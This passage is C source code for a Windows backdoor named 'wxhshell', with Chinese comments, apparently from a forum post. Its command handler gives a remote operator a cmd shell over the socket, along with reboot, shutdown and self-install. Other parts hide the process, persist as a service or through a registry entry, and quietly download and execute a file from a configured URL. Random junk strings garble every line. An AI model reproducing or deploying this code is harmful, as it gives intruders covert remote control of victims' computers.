  else { &b?LP]   
ALNc'MW!  
    switch(cmd[0]) { -Gw$#!  
  j|/]#@Yr  
  // 帮助 Okm{Xx  
  case '?': { C_n9T{k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ni6{pK4Wqm  
    break; zSSB>D  
  } @*Wh  
  // 安装 `KK>~T_$J  
  case 'i': { 1Lg-.-V  
    if(Install()) +S R+x/?z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kRTwaNDOD  
    else _%B^9Yl3(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @H7Wb}  
    break; 'C:>UlzLy  
    } |iR T! ]  
  // 卸载 ;3kj2}  
  case 'r': { E 2"q3_,,  
    if(Uninstall()) 1e>s{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =7C%P%yt  
    else 8}FzZ?DRy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bnb#{tL  
    break; HVP"A3}KC  
    } BvR-K\rx  
  // 显示 wxhshell 所在路径 91q8k=p  
  case 'p': { i 2sN3it  
    char svExeFile[MAX_PATH]; -Y*bSP)\  
    strcpy(svExeFile,"\n\r"); zD(`B+  
      strcat(svExeFile,ExeFile); #DN0T' B  
        send(wsh,svExeFile,strlen(svExeFile),0); 9uer(}WKT  
    break; cu%C"  
    } "=+ 7-`  
  // 重启 gx&Tt  
  case 'b': { #%D_Y33;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d8m6B6 CW  
    if(Boot(REBOOT)) MH{GR)ng:9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 05spovO/'  
    else { ;[W"mlM  
    closesocket(wsh); K,w"_T  
    ExitThread(0); ;w%*M}`5  
    } cFJ-Mkl l  
    break;  -Y H<  
    } B7]C]=${m  
  // 关机 ^B@Wp  
  case 'd': { rDQ!zlg>l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3nu^l'WQ  
    if(Boot(SHUTDOWN)) ,WG<hgg-U)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :^fcC[$K  
    else { "7v@Rye  
    closesocket(wsh); ']>Mp#j  
    ExitThread(0); E6,4RuCK  
    } Z0*ljT5|  
    break; ;+tpvnV;]  
    } GD:4"$)[o  
  // 获取shell >9f%@uSM$3  
  case 's': { :LQ5 u[g$\  
    CmdShell(wsh); h~(D@/tB  
    closesocket(wsh); !O#dV1wAa  
    ExitThread(0); {fEwA8Ir  
    break; lr{?"tl_  
  } 5i-Rglo  
  // 退出 a?6a b+7#  
  case 'x': { 9!Ar`Io2@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GG0R}',0  
    CloseIt(wsh); Q\WC+,_%  
    break; DF g,Xa#  
    } h^*4}GU  
  // 离开 2l F>1vH  
  case 'q': { 2Y>~k{AN%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $YXMI",tt<  
    closesocket(wsh); 7 As|Ns`  
    WSACleanup(); \|Ul]1pO8  
    exit(1); PmR~c,  
    break; 0k'e:AjP  
        } Ezi-VGjr]  
  } IZm(`b;t^  
  } ^m /oDB-  
>(<ytnt=  
  // 提示信息 Hsihytdj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :UbM !  
} v 0kqu  
  } UTSL  
}?@rO`:EF+  
  return; 1=nUW":  
} GV^i`r^"  
C-?%uF  
// shell模块句柄 Q3 eM2i8Y  
int CmdShell(SOCKET sock) (^5 7UmFv]  
{ =1u@7Bh  
STARTUPINFO si; m "M("%  
ZeroMemory(&si,sizeof(si)); ncX/L[L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <d<mvXbw_@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3VUWX5K?  
PROCESS_INFORMATION ProcessInfo; ^47PLLRP  
char cmdline[]="cmd"; u- o--q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A#W?2k9  
  return 0; g1UGd  
} UDe |Sb  
Bcjx>#3?L  
// 自身启动模式 `xc^_781\  
int StartFromService(void) r&2~~_d3y  
{ D!oc>K$B  
typedef struct %&Fk4Z}M  
{ Lj"A4i_  
  DWORD ExitStatus; TP}h~8 /;  
  DWORD PebBaseAddress; R.s^o]vT  
  DWORD AffinityMask; eVR5Xar  
  DWORD BasePriority; v$)q($}p  
  ULONG UniqueProcessId; /Ux*u#  
  ULONG InheritedFromUniqueProcessId; 0}:2Q#  
}   PROCESS_BASIC_INFORMATION; &I({T`=  
c\q   
PROCNTQSIP NtQueryInformationProcess; r,]#b[:.s|  
QeDQ o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e } *0ghKI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~=wC wA|1  
Dgql?+2$  
  HANDLE             hProcess; 9M /SH$Qy  
  PROCESS_BASIC_INFORMATION pbi; `s]4AKBO  
k;EPpr-{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c.|l-zAeX  
  if(NULL == hInst ) return 0; 1TM~*<Jb  
teW6;O_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )%X;^(zKM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #$1og=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kip`Myw+  
{i*2R^5  
  if (!NtQueryInformationProcess) return 0; KZbR3mi,  
3loY qeP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?,=f\Fz!  
  if(!hProcess) return 0; ycJg%]F*5  
Nk;iiz+_p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y2R\]FrT  
]O TH"*j  
  CloseHandle(hProcess); E_1="&p  
: 5U"XY x@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s 1ge0~p3  
if(hProcess==NULL) return 0; #Ch;0UvFF  
}6-ZE9H-v  
HMODULE hMod; ow/57P  
char procName[255]; XYH|;P6K  
unsigned long cbNeeded; P0i V<T4^  
2`a q**}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 45@]:2j  
`T2<<<  
  CloseHandle(hProcess); QR> Y%4 ;h  
-z:&*=  
if(strstr(procName,"services")) return 1; // 以服务启动 9]>iSG^H  
Ao7`G':  
  return 0; // 注册表启动 aVe/ gE  
} GOSI3RRn  
_0pO8o-x  
// 主模块 q+a.G2S  
int StartWxhshell(LPSTR lpCmdLine) Qpt&3_   
{ zTD@  
  SOCKET wsl; <8 #ObdY!  
BOOL val=TRUE; *zWWmxcJa  
  int port=0; 4.K'\S  
  struct sockaddr_in door; l+y}4 k=/  
}E}8_ 8T6  
  if(wscfg.ws_autoins) Install(); Y& ] 8 {  
?G08NR  
port=atoi(lpCmdLine); 7@PIM5h  
[<wbbvXR  
if(port<=0) port=wscfg.ws_port; RiO="tX'  
gcJF`H/iNK  
  WSADATA data; -@IL"U6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eX2<}'W<  
d'l$$%zJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Iia.k'N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `!G7k  
  door.sin_family = AF_INET; ^ie^VY($  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M8@_Uj  
  door.sin_port = htons(port); *OdX u&5  
g6sjc,`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bQa oMZB  
closesocket(wsl); P|^$kK  
return 1; fj 4^VXD  
} 4S L_-Hm.  
}~o ikN:  
  if(listen(wsl,2) == INVALID_SOCKET) { z8Q"% @  
closesocket(wsl); ]v5-~E!  
return 1; Y'Z+, CNf  
} ~]8p_;\  
  Wxhshell(wsl); ^ft]b2i  
  WSACleanup(); l[/q%Ca'>  
6U,fz#<,}  
return 0; d `j?7Z  
{5Eyr$  
} c-5jYwV  
E/za @W  
// 以NT服务方式启动 1]\TI7/ n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b0a}ME&1  
{ MFg'YA2/  
DWORD   status = 0; C%ytkzG_  
  DWORD   specificError = 0xfffffff; 5@XV6  
S;A)C`X&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qSQ@p\O~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PMKb ]y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o6?l/nJ  
  serviceStatus.dwWin32ExitCode     = 0; 2[dIOb4b  
  serviceStatus.dwServiceSpecificExitCode = 0; +=8X8<Pu  
  serviceStatus.dwCheckPoint       = 0; FBsn;,3<W  
  serviceStatus.dwWaitHint       = 0; /qxJgoa  
,.g}W~S)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o&^NwgRCF  
  if (hServiceStatusHandle==0) return; gKL1c{BV  
[xpQH?  
status = GetLastError(); M^H90GN)X  
  if (status!=NO_ERROR) %{STz  
{ C=VIT*=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 00M`%c/  
    serviceStatus.dwCheckPoint       = 0; p\U*;'hv  
    serviceStatus.dwWaitHint       = 0; Sue 6+p  
    serviceStatus.dwWin32ExitCode     = status; {TL +7kiX/  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z~3u:[x";  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (L|}`  
    return; viuiqs5[Bi  
  } C(]'&~}(  
):bu;3E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JfTfAq]  
  serviceStatus.dwCheckPoint       = 0; FD6v /Y  
  serviceStatus.dwWaitHint       = 0; `Lz1{#F2G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lIuXo3  
} "g `nsk  
(G8  
// 处理NT服务事件,比如:启动、停止 _=6OP8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3C"_$?y"  
{ vF>gU_gz.  
switch(fdwControl) Yg6I&#f7&  
{ X&\o{w9%  
case SERVICE_CONTROL_STOP: id?_>9@P  
  serviceStatus.dwWin32ExitCode = 0; 4uX(_5#j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a{_ KSg  
  serviceStatus.dwCheckPoint   = 0; O|UxFnB}  
  serviceStatus.dwWaitHint     = 0; 8U^D(jrz  
  { /S/aUvN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l(Cf7o!  
  } y`b\;kd  
  return; wZv-b*4  
case SERVICE_CONTROL_PAUSE: n+quSF)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~JE|f 7  
  break; vOgLEN&]  
case SERVICE_CONTROL_CONTINUE: j@ C0af  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wg(bD,  
  break; pruWO'b`  
case SERVICE_CONTROL_INTERROGATE: {NeWdC  
  break; l.7d$8'\  
}; _>v0R'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5w-JPjH  
} zKJ. Tj W  
_[1^s$  
// 标准应用程序主函数 1#D<ZN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A7(M,4`6  
{ QUPf *3Oy  
hb! ln7  
// 获取操作系统版本 Yzd2G,kZ=  
OsIsNt=GetOsVer(); Y*\6o7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a*Jn#Mx<M  
Uk02IOXQ  
  // 从命令行安装 ?48AY6  
  if(strpbrk(lpCmdLine,"iI")) Install(); @,YlmX}  
JmjxGcG  
  // 下载执行文件 \ 522,n`  
if(wscfg.ws_downexe) { O!] ;_q/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ss; 5C:*y  
  WinExec(wscfg.ws_filenam,SW_HIDE); P/`m3aSzX.  
} `r]TA]D R  
)]A9~H  
if(!OsIsNt) { M1(9A>|nF  
// 如果时win9x,隐藏进程并且设置为注册表启动 0h:G4  
HideProc(); K6(.KEW  
StartWxhshell(lpCmdLine); qwP$~Bj  
} ;[cai MA-  
else 8{@`kyy|  
  if(StartFromService()) IM$0#2\  
  // 以服务方式启动 j=Q$K #sBt  
  StartServiceCtrlDispatcher(DispatchTable); hpjUkGm5  
else b=_{/F*b?  
  // 普通方式启动 :p&IX"Hh  
  StartWxhshell(lpCmdLine); <c\]Ct  
NGj"ByVjx  
return 0; [Gf{f\O  
}
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只看该作者 1 发表于: 2006-10-10
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